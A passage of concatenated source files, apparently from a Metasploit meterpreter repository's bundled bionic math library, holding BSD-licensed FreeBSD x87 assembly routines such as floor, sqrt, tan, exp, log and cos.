Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_floor.S,v 1.7 1999/08/28 00:06:12 peter Exp $") ENTRY(floor) pushl %ebp movl %esp,%ebp subl $8,%esp fstcw -4(%ebp) /* store fpu control word */ movw -4(%ebp),%dx orw $0x0400,%dx /* round towards -oo */ andw $0xf7ff,%dx movw %dx,-8(%ebp) fldcw -8(%ebp) /* load modfied control word */ fldl 8(%ebp); /* round */ frndint fldcw -4(%ebp) /* restore original control word */ leave ret
OpenWireSec/metasploit
1,981
external/source/meterpreter/source/bionic/libm/i387/e_remainder.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_remainder.S,v 1.8 2005/02/04 14:08:32 das Exp $") ENTRY(remainder) fldl 12(%esp) fldl 4(%esp) 1: fprem1 fstsw %ax sahf jp 1b fstp %st(1) ret
OpenWireSec/metasploit
1,916
external/source/meterpreter/source/bionic/libm/i387/e_sqrt.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_sqrt.S,v 1.7 2005/02/04 14:08:32 das Exp $") ENTRY(sqrt) fldl 4(%esp) fsqrt ret
OpenWireSec/metasploit
2,082
external/source/meterpreter/source/bionic/libm/i387/s_tan.S
/* * Copyright (c) 1994 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_tan.S,v 1.6 1999/08/28 00:06:14 peter Exp $") ENTRY(tan) fldl 4(%esp) fptan fnstsw %ax andw $0x400,%ax jnz 1f fstp %st(0) ret 1: fldpi fadd %st(0) fxch %st(1) 2: fprem1 fstsw %ax andw $0x400,%ax jnz 2b fstp %st(1) fptan fstp %st(0) ret
OpenWireSec/metasploit
1,949
external/source/meterpreter/source/bionic/libm/i387/s_scalbn.S
/* * Copyright (c) 1994 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_scalbn.S,v 1.7 1999/08/28 00:06:13 peter Exp $") ENTRY(scalbn) fildl 12(%esp) fldl 4(%esp) fscale fstp %st(1) ret
OpenWireSec/metasploit
3,161
external/source/meterpreter/source/bionic/libm/i387/e_exp.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_exp.S,v 1.11 2005/10/30 12:21:02 bde Exp $") /* e^x = 2^(x * log2(e)) */ ENTRY(exp) /* * If x is +-Inf, then the subtraction would give Inf-Inf = NaN. * Avoid this. Also avoid it if x is NaN for convenience. */ movl 8(%esp),%eax andl $0x7fffffff,%eax cmpl $0x7ff00000,%eax jae x_Inf_or_NaN fldl 4(%esp) /* * Extended precision is needed to reduce the maximum error from * hundreds of ulps to less than 1 ulp. Switch to it if necessary. * We may as well set the rounding mode to to-nearest and mask traps * if we switch. */ fstcw 4(%esp) movl 4(%esp),%eax andl $0x0300,%eax cmpl $0x0300,%eax /* RC == 0 && PC == 3? */ je 1f /* jump if mode is good */ movl $0x137f,8(%esp) fldcw 8(%esp) 1: fldl2e fmulp /* x * log2(e) */ fst %st(1) frndint /* int(x * log2(e)) */ fst %st(2) fsubrp /* fract(x * log2(e)) */ f2xm1 /* 2^(fract(x * log2(e))) - 1 */ fld1 faddp /* 2^(fract(x * log2(e))) */ fscale /* e^x */ fstp %st(1) je 1f fldcw 4(%esp) 1: ret x_Inf_or_NaN: /* * Return 0 if x is -Inf. Otherwise just return x; when x is Inf * this gives Inf, and when x is a NaN this gives the same result * as (x + x) (x quieted). */ cmpl $0xfff00000,8(%esp) jne x_not_minus_Inf cmpl $0,4(%esp) jne x_not_minus_Inf fldz ret x_not_minus_Inf: fldl 4(%esp) ret
OpenWireSec/metasploit
1,926
external/source/meterpreter/source/bionic/libm/i387/e_log10.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_log10.S,v 1.7 2005/02/04 14:08:32 das Exp $") ENTRY(log10) fldlg2 fldl 4(%esp) fyl2x ret
OpenWireSec/metasploit
1,922
external/source/meterpreter/source/bionic/libm/i387/e_log.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_log.S,v 1.7 2005/02/04 14:08:32 das Exp $") ENTRY(log) fldln2 fldl 4(%esp) fyl2x ret
OpenWireSec/metasploit
2,003
external/source/meterpreter/source/bionic/libm/i387/s_finite.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_finite.S,v 1.7 1999/08/28 00:06:12 peter Exp $") ENTRY(finite) movl 8(%esp),%eax andl $0x7ff00000, %eax cmpl $0x7ff00000, %eax setneb %al andl $0x000000ff, %eax ret
OpenWireSec/metasploit
2,056
external/source/meterpreter/source/bionic/libm/i387/s_cos.S
/* * Copyright (c) 1994 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_cos.S,v 1.6 1999/08/28 00:06:12 peter Exp $") ENTRY(cos) fldl 4(%esp) fcos fnstsw %ax andw $0x400,%ax jnz 1f ret 1: fldpi fadd %st(0) fxch %st(1) 2: fprem1 fnstsw %ax andw $0x400,%ax jnz 2b fstp %st(1) fcos ret
OpenWireSec/metasploit
1,561
external/source/meterpreter/source/bionic/libm/i387/s_lrint.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/i387/s_lrint.S,v 1.1 2005/01/11 23:10:53 das Exp $"); ENTRY(lrint) fldl 4(%esp) subl $4,%esp fistpl (%esp) popl %eax ret
OpenWireSec/metasploit
1,575
external/source/meterpreter/source/bionic/libm/i387/s_llrintf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/i387/s_llrintf.S,v 1.1 2005/04/16 21:12:55 das Exp $") ENTRY(llrintf) flds 4(%esp) subl $8,%esp fistpll (%esp) popl %eax popl %edx ret
OpenWireSec/metasploit
1,920
external/source/meterpreter/source/bionic/libm/i387/s_rint.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_rint.S,v 1.6 1999/08/28 00:06:13 peter Exp $") ENTRY(rint) fldl 4(%esp) frndint ret
OpenWireSec/metasploit
1,575
external/source/meterpreter/source/bionic/libm/i387/s_llrint.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/i387/s_llrint.S,v 1.1 2005/01/11 23:10:53 das Exp $"); ENTRY(llrint) fldl 4(%esp) subl $8,%esp fistpll (%esp) popl %eax popl %edx ret
OpenWireSec/metasploit
1,927
external/source/meterpreter/source/bionic/libm/i387/s_logb.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_logb.S,v 1.7 2000/06/06 12:12:36 bde Exp $") ENTRY(logb) fldl 4(%esp) fxtract fstp %st ret
OpenWireSec/metasploit
1,970
external/source/meterpreter/source/bionic/libm/i387/e_fmod.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, 